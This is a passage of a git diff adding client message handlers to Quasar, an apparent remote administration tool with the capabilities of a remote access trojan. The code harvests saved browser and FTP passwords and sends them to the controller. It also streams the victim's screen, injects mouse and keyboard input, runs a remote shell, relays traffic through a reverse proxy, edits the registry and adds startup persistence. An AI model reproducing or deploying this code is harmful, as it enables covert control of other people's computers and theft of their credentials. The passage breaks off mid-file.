{ + case GetKeyloggerLogsDirectory msg: + Execute(sender, msg); + break; + } + } + + public void Execute(ISender client, GetKeyloggerLogsDirectory message) + { + client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); + } + } +} diff --git a/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar.Client/Messages/MessageBoxHandler.cs new file mode 100644 index 000000000..608663f04 --- /dev/null +++ b/Quasar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class MessageBoxHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShowMessageBox msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + // messagebox thread resides in csrss.exe - wtf? + MessageBox.Show(message.Text, message.Caption, + (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), + (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), + MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); + }) {IsBackground = true}.Start(); + + client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); + } + } +} diff --git a/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar.Client/Messages/NotificationMessageProcessor.cs new file mode 100644 index 000000000..d02966b4b --- /dev/null +++ b/Quasar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Quasar.Common.Messages; + +namespace Quasar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs new file mode 100644 index 000000000..69ba5342d --- /dev/null +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -0,0 +1,62 @@ +using Quasar.Client.Recovery; +using Quasar.Client.Recovery.Browsers; +using Quasar.Client.Recovery.FtpClients; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Quasar.Client.Messages +{ + public class PasswordRecoveryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetPasswords; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPasswords msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetPasswords message) + { + List recovered = new List(); + + var passReaders = new IAccountReader[] + { + new BravePassReader(), + new ChromePassReader(), + new OperaPassReader(), + new OperaGXPassReader(), + new EdgePassReader(), + new YandexPassReader(), + new FirefoxPassReader(), + new InternetExplorerPassReader(), + new FileZillaPassReader(), + new WinScpPassReader() + }; + + foreach (var passReader in passReaders) + { + try + { + recovered.AddRange(passReader.ReadAccounts()); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + + client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); + } + } +} diff --git a/Quasar.Client/Messages/RegistryHandler.cs b/Quasar.Client/Messages/RegistryHandler.cs new file mode 100644 index 000000000..3abc30e88 --- /dev/null +++ b/Quasar.Client/Messages/RegistryHandler.cs @@ -0,0 +1,228 @@ +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Registry; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + public class RegistryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + message is DoCreateRegistryKey || + message is DoDeleteRegistryKey || + message is DoRenameRegistryKey || + message is DoCreateRegistryValue || + message is DoDeleteRegistryValue || + message is DoRenameRegistryValue || + message is DoChangeRegistryValue; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLoadRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryKey msg: + Execute(sender, msg); + break; + case DoDeleteRegistryKey msg: + Execute(sender, msg); + break; + case DoRenameRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryValue msg: + Execute(sender, msg); + break; + case DoDeleteRegistryValue msg: + Execute(sender, msg); + break; + case DoRenameRegistryValue msg: + Execute(sender, msg); + break; + case DoChangeRegistryValue msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoLoadRegistryKey message) + { + GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(message.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = message.RootKeyName; + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryKey message) + { + GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); + string errorMsg; + string newKeyName = ""; + + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + + responsePacket.ErrorMsg = errorMsg; + responsePacket.Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + responsePacket.ParentPath = message.ParentPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryKey message) + { + GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.KeyName = message.KeyName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryKey message) + { + GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.OldKeyName = message.OldKeyName; + responsePacket.NewKeyName = message.NewKeyName; + + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryValue message) + { + GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); + string errorMsg; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryValue message) + { + GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = message.ValueName; + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryValue message) + { + GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.OldValueName = message.OldValueName; + responsePacket.NewValueName = message.NewValueName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoChangeRegistryValue message) + { + GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.Value = message.Value; + + client.Send(responsePacket); + } + } +} diff --git a/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar.Client/Messages/RemoteDesktopHandler.cs new file mode 100644 index 000000000..f4eb63ecc --- /dev/null +++ b/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,205 @@ +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is GetMonitors; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: + Execute(sender, msg); + break; + case DoMouseEvent msg: + Execute(sender, msg); + break; + case DoKeyboardEvent msg: + Execute(sender, msg); + break; + case GetMonitors msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetDesktop message) + { + // TODO: Switch to streaming mode without request-response once switched from windows forms + // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis + var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex)); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + OnReport("Remote desktop session started"); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + BitmapData desktopData = null; + Bitmap desktop = null; + try + { + desktop = ScreenHelper.CaptureScreen(message.DisplayIndex); + desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), + ImageLockMode.ReadWrite, desktop.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(desktopData.Scan0, + new Rectangle(0, 0, desktop.Width, desktop.Height), + new Size(desktop.Width, desktop.Height), + desktop.PixelFormat, stream); + client.Send(new GetDesktopResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + } + catch (Exception) + { + if (_streamCodec != null) + { + client.Send(new GetDesktopResponse + { + Image = null, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + + _streamCodec = null; + } + finally + { + if (desktop != null) + { + if (desktopData != null) + { + try + { + desktop.UnlockBits(desktopData); + } + catch + { + } + } + desktop.Dispose(); + } + } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + // Disable screensaver if active before input + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + case MouseAction.RightDown: + case MouseAction.RightUp: + case MouseAction.MoveCursor: + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + break; + } + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch + { + } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + + private void Execute(ISender client, GetMonitors message) + { + client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length}); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar.Client/Messages/RemoteShellHandler.cs new file mode 100644 index 000000000..c10cf98fd --- /dev/null +++ b/Quasar.Client/Messages/RemoteShellHandler.cs @@ -0,0 +1,95 @@ +using Quasar.Client.IO; +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : IMessageProcessor, IDisposable + { + /// + /// The current remote shell instance. + /// + private Shell _shell; + + /// + /// The client which is associated with this remote shell handler. + /// + private readonly QuasarClient _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + } + + /// + /// Handles changes of the client state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientStateChange(Networking.Client s, bool connected) + { + // close shell on client disconnection + if (!connected) + { + _shell?.Dispose(); + } + } + + /// + public bool CanExecute(IMessage message) => message is DoShellExecute; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecute shellExec: + Execute(sender, shellExec); + break; + } + } + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if (_shell == null && input == "exit") return; + if (_shell == null) _shell = new Shell(_client); + + if (input == "exit") + _shell.Dispose(); + else + _shell.ExecuteCommand(input); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _shell?.Dispose(); + } + } + } +} diff --git a/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar.Client/Messages/ReverseProxyHandler.cs new file mode 100644 index 000000000..21e958856 --- /dev/null +++ b/Quasar.Client/Messages/ReverseProxyHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Client.Networking; +using Quasar.Client.ReverseProxy; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class ReverseProxyHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + public ReverseProxyHandler(QuasarClient client) + { + _client = client; + } + + public bool CanExecute(IMessage message) => message is ReverseProxyConnect || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnect msg: + Execute(sender, msg); + break; + case ReverseProxyData msg: + Execute(sender, msg); + break; + case ReverseProxyDisconnect msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, ReverseProxyConnect message) + { + _client.ConnectReverseProxy(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + proxyClient?.SendToTargetServer(message.Data); + } + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + socksClient?.Disconnect(); + } + } +} diff --git a/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar.Client/Messages/ShutdownHandler.cs new file mode 100644 index 000000000..de0ea50b5 --- /dev/null +++ b/Quasar.Client/Messages/ShutdownHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ShutdownHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShutdownAction; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShutdownAction msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShutdownAction message) + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo(); + switch (message.Action) + { + case ShutdownAction.Shutdown: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/s /t 0"; // shutdown + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Restart: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/r /t 0"; // restart + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Standby: + Application.SetSuspendState(PowerState.Suspend, true, true); // standby + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" }); + } + } + } +} diff --git a/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar.Client/Messages/StartupManagerHandler.cs new file mode 100644 index 000000000..91b2d0234 --- /dev/null +++ b/Quasar.Client/Messages/StartupManagerHandler.cs @@ -0,0 +1,265 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; + +namespace Quasar.Client.Messages +{ + public class StartupManagerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetStartupItems || + message is DoStartupItemAdd || + message is DoStartupItemRemove; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItems msg: + Execute(sender, msg); + break; + case DoStartupItemAdd msg: + Execute(sender, msg); + break; + case DoStartupItemRemove msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetStartupItems message) + { + try + { + List startupItems = new List(); + + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 }); + } + } + } + if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem + { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); + } + + client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemAdd message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.StartMenu: + if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); + } + + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), + message.StartupItem.Name + ".url"); + + using (var writer = new StreamWriter(lnkPath, false)) + { + writer.WriteLine("[InternetShortcut]"); + writer.WriteLine("URL=file:///" + message.StartupItem.Path); + writer.WriteLine("IconIndex=0"); + writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); + writer.Flush(); + } + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemRemove message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); + + if (!File.Exists(startupItemPath)) + throw new IOException("File does not exist"); + + File.Delete(startupItemPath); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); + } + } + } +} diff --git a/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar.Client/Messages/SystemInformationHandler.cs new file mode 100644 index 000000000..32826111a --- /dev/null +++ b/Quasar.Client/Messages/SystemInformationHandler.cs @@ -0,0 +1,72 @@ +using Quasar.Client.Helper; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Quasar.Client.IO; + +namespace Quasar.Client.Messages +{ + public class SystemInformationHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetSystemInfo; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfo msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetSystemInfo message) + { + try + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + + var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; + var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + List> lstInfos = new List> + { + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuName), + new Tuple("Username", userAccount.UserName), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country) + }; + + client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); + } + catch + { + } + } + } +} diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs new file mode 100644 index 000000000..8909037f5 --- /dev/null +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -0,0 +1,204 @@ +using Quasar.Client.Networking; +using Quasar.Client.Setup; +using Quasar.Common; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Net; +using System.Threading; + +namespace Quasar.Client.Messages +{ + /// + /// Handles messages for the 